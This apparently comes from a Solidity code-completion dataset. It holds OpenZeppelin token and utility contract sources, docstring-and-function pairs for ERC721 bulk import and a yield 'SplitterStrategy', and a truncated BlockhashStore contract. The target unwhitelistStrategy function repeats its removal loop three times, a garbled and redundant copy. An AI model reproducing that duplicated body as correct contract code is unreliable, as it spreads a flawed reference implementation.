(token/ERC721/utils/ERC721Holder.sol) pragma solidity ^0.8.0; import "../IERC721Receiver.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol) pragma solidity ^0.8.0; import "../IERC1155Receiver.sol"; import "../../../utils/introspection/ERC165.sol"; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/utils/ERC1155Holder.sol) pragma solidity ^0.8.0; import "./ERC1155Receiver.sol"; /** * Simple implementation of `ERC1155Receiver` that will allow a contract to hold ERC1155 tokens. * * IMPORTANT: When inheriting this contract, you must include a way to use the received tokens, otherwise they will be * stuck. * * @dev _Available since v3.1._ */ contract ERC1155Holder is ERC1155Receiver { function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; import "../token/ERC20/IERC20.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; }
Pulls in a bunch of ERC721 tokens that the contract has been approved to access. Feeds from ONE source contract. from - the current holder token - the token contract address tokenIds - the token ids (parallel to addresses)/
function importBulkERC721( address from, address token, uint256[] calldata tokenIds ) external onlyOwner { IERC721 source = IERC721(token); for (uint256 i; i < tokenIds.length; i++) { source.transferFrom(from, address(this), tokenIds[i]); } }
5,781,264
pragma solidity 0.5.16; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../hardworkInterface/IStrategy.sol"; import "../Controllable.sol"; import "../hardworkInterface/IMigrator.sol"; import "../hardworkInterface/IVault.sol"; contract SplitterStrategy is IStrategy, Controllable { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public underlying; address public vault; mapping(address => bool) public unsalvagableTokens; mapping(address => bool) public isStrategyWhitelisted; address[] public whitelistedStrategies; address[] public activeStrategies; uint256[] public caps; uint256[] public investmentRatioNumerators; address[] public withdrawalOrder; address public futureStrategy; uint256 public strategyWhitelistTime; uint256 public investmentRatioDenominator = 10000; uint256 public whitelistStrategyTimeLock = 12 hours; bool public isInitialized = false; event StrategyWhitelisted( address strategy ); event StrategyWhitelistAnnounced( address strategy, uint256 when ); event StrategyUnwhitelisted( address strategy ); modifier restricted() { require(msg.sender == vault || msg.sender == address(controller()) || msg.sender == address(governance()), "The sender has to be the controller or vault or governance"); _; } constructor(address _storage) public Controllable(_storage) { } function initSplitter( address _underlying, address _vault, address[] memory _strategies, uint256[] memory _investmentRatioNumerators, uint256[] memory _caps, address[] memory _withdrawalOrder ) public onlyGovernance { require(!isInitialized, "splitter is already initialized"); isInitialized = true; require(_underlying != address(0), "_underlying cannot be empty"); require(_vault != address(0), "_vault cannot be empty"); require(IVault(_vault).underlying() == _underlying, "underlying must match"); unsalvagableTokens[_underlying] = true; underlying = IERC20(_underlying); vault = _vault; for (uint256 i = 0; i < _strategies.length; i++) { whitelistedStrategies.push(_strategies[i]); isStrategyWhitelisted[_strategies[i]] = true; } _configureStrategies(_strategies, _investmentRatioNumerators, _caps, _withdrawalOrder); } /* * Instant configuration of the active strategies, caps, investment ratios, * and withdrawal orders */ function configureStrategies( address[] memory _activeStrategies, uint256[] memory _investmentRatioNumerators, uint256[] memory _caps, address[] memory _withdrawalOrder ) public onlyGovernance { _configureStrategies( _activeStrategies, _investmentRatioNumerators, _caps, _withdrawalOrder ); } function _configureStrategies( address[] memory _activeStrategies, uint256[] memory _investmentRatioNumerators, uint256[] memory _caps, address[] memory _withdrawalOrder ) internal { require(_activeStrategies.length == _investmentRatioNumerators.length, "investment ratios length invalid"); require(_activeStrategies.length == _caps.length, "caps length invalid"); require(whitelistedStrategies.length == _withdrawalOrder.length, "withdrawalOrder length invalid"); activeStrategies.length = 0; investmentRatioNumerators.length = 0; caps.length = 0; for (uint256 i = 0; i < _activeStrategies.length; i++) { require(isStrategyWhitelisted[_activeStrategies[i]], "strategy not whitelisted"); activeStrategies.push(_activeStrategies[i]); investmentRatioNumerators.push(_investmentRatioNumerators[i]); caps.push(_caps[i]); } withdrawalOrder.length = 0; for (uint256 i = 0; i < _withdrawalOrder.length; i++) { require(isStrategyWhitelisted[_withdrawalOrder[i]], "withdrawal strategy not whitelisted"); withdrawalOrder.push(_withdrawalOrder[i]); } } function depositArbCheck() public view returns(bool) { for (uint256 i = 0; i < activeStrategies.length; i++) { if (!IStrategy(activeStrategies[i]).depositArbCheck()) { return false; } } return true; } /* * Returns the total amount. * Iterates over all whitelisted strateges, not just active */ function investedUnderlyingBalance() public view returns (uint256) { uint256 result = 0; for (uint256 i = 0; i < whitelistedStrategies.length; i++) { result = result.add(IStrategy(whitelistedStrategies[i]).investedUnderlyingBalance()); } return result.add(IERC20(underlying).balanceOf(address(this))); } /* * Invests all tokens that were accumulated so far */ function investAllUnderlying() internal { uint256 splitterInitialBalance = IERC20(underlying).balanceOf(address(this)); for (uint256 i = 0; i < activeStrategies.length; i++) { uint256 computedRatio = splitterInitialBalance.mul(investmentRatioNumerators[i]).div(investmentRatioDenominator); uint256 toInvest = Math.min(computedRatio, IERC20(underlying).balanceOf(address(this))); if (toInvest > 0) { if (caps[i] > 0) { // there is a cap uint256 strategyBalance = IStrategy(activeStrategies[i]).investedUnderlyingBalance(); if (strategyBalance < caps[i]) { uint256 maxRemaining = caps[i] - strategyBalance; IERC20(underlying).safeTransfer(activeStrategies[i], Math.min(maxRemaining, toInvest)); } } else { // no cap IERC20(underlying).safeTransfer(activeStrategies[i], toInvest); } } } // the rest of the funds would stay in the strategy } /** * Withdraws everything from a specific strategy */ function withdrawFromStrategy(address strategy, uint256 amount) external restricted { require(isStrategyWhitelisted[strategy], "strategy not whitelisted"); IStrategy(strategy).withdrawToVault(amount); } /** * Invests into a specific strategy */ function investIntoStrategy(address strategy, uint256 amount) external restricted { require(isStrategyWhitelisted[strategy], "strategy not whitelisted"); IERC20(underlying).safeTransfer(strategy, amount); } /** * Withdraws everything from all the vaults */ function withdrawAllToVault() external restricted { for (uint256 i = 0; i < withdrawalOrder.length; i++) { if (IStrategy(withdrawalOrder[i]).investedUnderlyingBalance() > 0) { IStrategy(withdrawalOrder[i]).withdrawAllToVault(); } } uint256 actualBalance = IERC20(underlying).balanceOf(address(this)); if (actualBalance > 0) { IERC20(underlying).safeTransfer(vault, actualBalance); } } /* * Cashes some amount out and withdraws to the vault */ function withdrawToVault(uint256 amount) external restricted { require(amount > 0, "amount must be greater than 0"); for (uint256 i = 0; i < withdrawalOrder.length; i++) { uint256 splitterBalance = IERC20(underlying).balanceOf(address(this)); if (splitterBalance >= amount) { break; } uint256 strategyBalance = IStrategy(withdrawalOrder[i]).investedUnderlyingBalance(); if (strategyBalance > 0) { IStrategy(withdrawalOrder[i]).withdrawToVault( Math.min(amount.sub(splitterBalance), strategyBalance) ); } } // we intend to fail if we don't have enough balance require(IERC20(underlying).balanceOf(address(this)) >= amount, "splitter does not have sufficient balance"); IERC20(underlying).safeTransfer(vault, amount); // investing back the rest if anything left investAllUnderlying(); } /** * Calls doHardWork on all strategies */ function doHardWork() public restricted { investAllUnderlying(); for (uint256 i = 0; i < activeStrategies.length; i++) { IStrategy(activeStrategies[i]).doHardWork(); } } /** * Calls doHardWork on a specific strategy */ function doHardWork(address _strategy) public restricted { IStrategy(_strategy).doHardWork(); } function _setStrategyWhitelistTime(uint256 _strategyWhitelistTime) internal { strategyWhitelistTime = _strategyWhitelistTime; } function _setFutureStrategy(address _futureStrategy) internal { futureStrategy = _futureStrategy; } function whitelistedStrategyCount() public view returns (uint256) { return whitelistedStrategies.length; } function canWhitelistStrategy(address _strategy) public view returns (bool) { return (_strategy == futureStrategy && block.timestamp > strategyWhitelistTime && strategyWhitelistTime > 0); // or the timelock has passed } /** * Indicates that a strategy would be added to the splitter */ function announceStrategyWhitelist(address _strategy) public onlyGovernance { require(_strategy != address(0), "_strategy cannot be 0x0"); require(IStrategy(_strategy).underlying() == address(underlying), "Underlying of splitter must match Strategy underlying"); require(IStrategy(_strategy).vault() == address(this), "The strategy does not belong to this splitter"); // records a new timestamp uint256 when = block.timestamp.add(whitelistStrategyTimeLock); _setStrategyWhitelistTime(when); _setFutureStrategy(_strategy); emit StrategyWhitelistAnnounced(_strategy, when); } /** * Finalizes (or cancels) the strategy update by resetting the data */ function finalizeStrategyWhitelist() public onlyGovernance { _setStrategyWhitelistTime(0); _setFutureStrategy(address(0)); } /** * Removes a given strategy from the whitelist * It is only allowed in case its underlying balance is 0 */ function unwhitelistStrategy(address _strategy) public onlyGovernance { require(_strategy != address(0), "_strategy cannot be 0x0"); require(isStrategyWhitelisted[_strategy], "_strategy is not whitelisted"); IStrategy strategy = IStrategy(_strategy); require(strategy.investedUnderlyingBalance() == 0, "can only unwhitelist an empty strategy"); emit StrategyUnwhitelisted(_strategy); isStrategyWhitelisted[_strategy] = false; for (uint256 i = 0; i < whitelistedStrategies.length; i++) { if (whitelistedStrategies[i] == _strategy) { if (i < whitelistedStrategies.length - 1) { whitelistedStrategies[i] = whitelistedStrategies[whitelistedStrategies.length - 1]; } whitelistedStrategies.length--; return; } } } /** * Adds a given strategy into the whitelist * Possible only after the timelock expired */ function whitelistStrategy(address _strategy) public onlyGovernance { require(canWhitelistStrategy(_strategy), "The strategy exists and switch timelock did not elapse yet"); require(_strategy != address(0), "_strategy cannot be 0x0"); require(IStrategy(_strategy).underlying() == address(underlying), "Underlying of splitter must match Strategy underlying"); require(IStrategy(_strategy).vault() == address(this), "The strategy does not belong to this splitter"); whitelistedStrategies.push(_strategy); isStrategyWhitelisted[_strategy] = true; emit StrategyWhitelisted(_strategy); IERC20(underlying).safeApprove(_strategy, 0); IERC20(underlying).safeApprove(_strategy, uint256(~0)); finalizeStrategyWhitelist(); } // should only be called by controller function salvage(address destination, address token, uint256 amount) external restricted { require(!unsalvagableTokens[token], "token is defined as not salvageable"); IERC20(token).safeTransfer(destination, amount); } }
Removes a given strategy from the whitelist It is only allowed in case its underlying balance is 0/
function unwhitelistStrategy(address _strategy) public onlyGovernance { require(_strategy != address(0), "_strategy cannot be 0x0"); require(isStrategyWhitelisted[_strategy], "_strategy is not whitelisted"); IStrategy strategy = IStrategy(_strategy); require(strategy.investedUnderlyingBalance() == 0, "can only unwhitelist an empty strategy"); emit StrategyUnwhitelisted(_strategy); isStrategyWhitelisted[_strategy] = false; for (uint256 i = 0; i < whitelistedStrategies.length; i++) { if (whitelistedStrategies[i] == _strategy) { if (i < whitelistedStrategies.length - 1) { whitelistedStrategies[i] = whitelistedStrategies[whitelistedStrategies.length - 1]; } whitelistedStrategies.length--; return; } } for (uint256 i = 0; i < whitelistedStrategies.length; i++) { if (whitelistedStrategies[i] == _strategy) { if (i < whitelistedStrategies.length - 1) { whitelistedStrategies[i] = whitelistedStrategies[whitelistedStrategies.length - 1]; } whitelistedStrategies.length--; return; } } for (uint256 i = 0; i < whitelistedStrategies.length; i++) { if (whitelistedStrategies[i] == _strategy) { if (i < whitelistedStrategies.length - 1) { whitelistedStrategies[i] = whitelistedStrategies[whitelistedStrategies.length - 1]; } whitelistedStrategies.length--; return; } } }
5,399,013
// File: contracts/dev/BlockhashStore.sol pragma solidity 0.6.6; /** * @title BlockhashStore * @notice This contract provides a way to access blockhashes older than * the 256 block limit imposed by the BLOCKHASH opcode. * You may assume that any blockhash stored by the contract is correct. * Note that the contract depends on the format of serialized Ethereum * blocks. If a future hardfork of Ethereum changes that format, the * logic in this contract may become incorrect and an updated version * would have to be deployed. */ contract BlockhashStore { mapping(uint => bytes32) internal s_blockhashes; /** * @notice stores blockhash of a given block, assuming it is available through BLOCKHASH * @param n the number of the block whose blockhash should be stored */ function store(uint256 n) public { bytes32 h = blockhash(n); require(h != 0x0, "blockhash(n) failed"); s_blockhashes[n] = h; } /** * @notice stores blockhash of the earliest block still available through BLOCKHASH. */ function storeEarliest() external { store(block.number - 256); } /** * @notice stores blockhash after verifying blockheader of child/subsequent block * @param n the number of the block whose blockhash should be stored * @param header the rlp-encoded blockheader of block n+1. We verify its correctness by checking * that it hashes to a stored blockhash, and then extract parentHash to get the n-th blockhash. */ function storeVerifyHeader(uint256 n, bytes memory header) public { require(keccak256(header) == s_blockhashes[n + 1], "header has unknown blockhash"); // At this point, we know that header is the correct blockheader for block n+1. // The header is an rlp-encoded list. The head item of that list is the 32-byte blockhash of the parent block. // Based on how rlp works, we know that blockheaders always have the following form: // 0xf9____a0PARENTHASH... // ^ ^ ^ // | | | // | | +--- PARENTHASH is 